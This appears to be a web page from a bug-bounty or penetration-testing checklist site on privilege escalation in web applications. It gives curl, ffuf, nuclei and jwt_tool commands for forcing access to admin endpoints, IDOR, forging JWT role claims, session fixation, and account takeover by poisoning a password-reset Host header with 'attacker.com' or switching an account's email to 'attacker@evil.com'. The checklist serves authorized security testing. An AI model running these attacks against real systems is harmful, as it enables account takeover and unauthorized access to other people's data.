Privilege Escalation

Post-Exploitation HIGH v1.0.0 updated 2026-06-17

Escalate from a low-privilege foothold to admin/root access through application-level, API-level, and infrastructure-level privilege escalation techniques.

Tools

Machine-readable JSON available at:

https://reconatlas.pages.dev/api/checklists/privilege-escalation

// checklist steps

privesc-01

Test vertical privilege escalation

Attempt to access admin-only functionality by tampering with role parameters, accessing admin endpoints directly, and modifying user-level tokens.

curl -sk https://target.com/admin/ -H 'Cookie: session=<user_session>'
curl -sk https://target.com/api/admin/users -H 'Authorization: Bearer <user_token>'
ffuf -u 'https://target.com/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/admin-panels.txt -H 'Cookie: session=<user_session>' -mc 200,302 -o admin-access.json

Compare responses between your low-privilege session and an unauthenticated request. A 200 response with admin content using a normal user session confirms broken access control.

privesc-02

Test horizontal privilege escalation

Access other users' data and functionality by manipulating user identifiers (user IDs, UUIDs, email addresses) in API requests.

curl -sk https://target.com/api/users/1001/profile -H 'Authorization: Bearer <user1000_token>'
ffuf -u 'https://target.com/api/users/FUZZ/documents' -w user-ids.txt -H 'Authorization: Bearer <token>' -mc 200 -o hpe-results.json

Test both numeric sequential IDs and UUIDs. Some applications validate ownership on GET but not on PUT/DELETE — test all HTTP methods.

privesc-03

Test API privilege escalation

Bypass API-level authorization by modifying scope parameters, accessing undocumented endpoints, or escalating through GraphQL introspection.

curl -sk -X POST https://target.com/graphql -H 'Content-Type: application/json' -d '{"query":"{__schema{types{name fields{name}}}}"}'
curl -sk https://target.com/api/v1/admin/config -H 'Authorization: Bearer <user_token>'
nuclei -u https://target.com -t exposures/apis/ -o api-exposure.txt

Look for version-specific endpoints (/api/v1/ vs /api/v2/) where authorization may differ. Older API versions often have weaker access controls.

privesc-04

Test token manipulation

Modify JWT claims (role, sub, iss), forge session tokens, and test session fixation to escalate privileges.

# Decode JWT and modify role claim
jwt_tool <token> -T -S hs256 -p '' -I -pc role -pv admin
# Test session fixation
curl -sk https://target.com/login -H 'Cookie: session=attacker-controlled-value' -d 'user=victim&pass=password'

Check whether the application issues a new session token after authentication. If the pre-auth session token persists post-login, session fixation is possible.

privesc-05

Test account takeover chains

Combine password reset vulnerabilities with IDOR or information disclosure to take over arbitrary accounts.

# Test predictable reset tokens
curl -sk -X POST https://target.com/api/forgot-password -d 'email=victim@target.com' -H 'Host: attacker.com'
# Test email change without re-authentication
curl -sk -X PUT https://target.com/api/profile -H 'Authorization: Bearer <token>' -d '{"email":"attacker@evil.com"}'

Account takeover is typically rated as critical severity. Document the full chain from initial access to complete account compromise.

privesc-06

Enumerate admin functionality

Once admin access is achieved, map all admin-only features to understand the full impact and identify further escalation paths.

ffuf -u 'https://target.com/admin/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -H 'Cookie: session=<admin_session>' -mc 200 -o admin-enum.json
curl -sk https://target.com/api/admin/settings -H 'Authorization: Bearer <admin_token>'

Document all admin functionality discovered. Features like user management, configuration changes, and file uploads from admin panels often contain additional vulnerabilities.

Overview

Privilege escalation vulnerabilities allow an attacker to perform actions or access data beyond their intended permission level. In web applications, this spans from accessing another user’s profile (horizontal) to gaining full administrative control (vertical).

Vertical vs horizontal

Vertical privilege escalation moves up the permission hierarchy (user to admin). Horizontal privilege escalation accesses resources at the same level but belonging to other users. Both are high-severity findings, but vertical escalation typically receives higher bounty payouts.

Common escalation patterns

Direct admin endpoint access without role validation
Parameter tampering on role/permission fields during registration or profile update
JWT claim modification (changing role from user to admin)
IDOR on admin-only API endpoints
Session fixation followed by social engineering

// references

← All checklists JSON ↗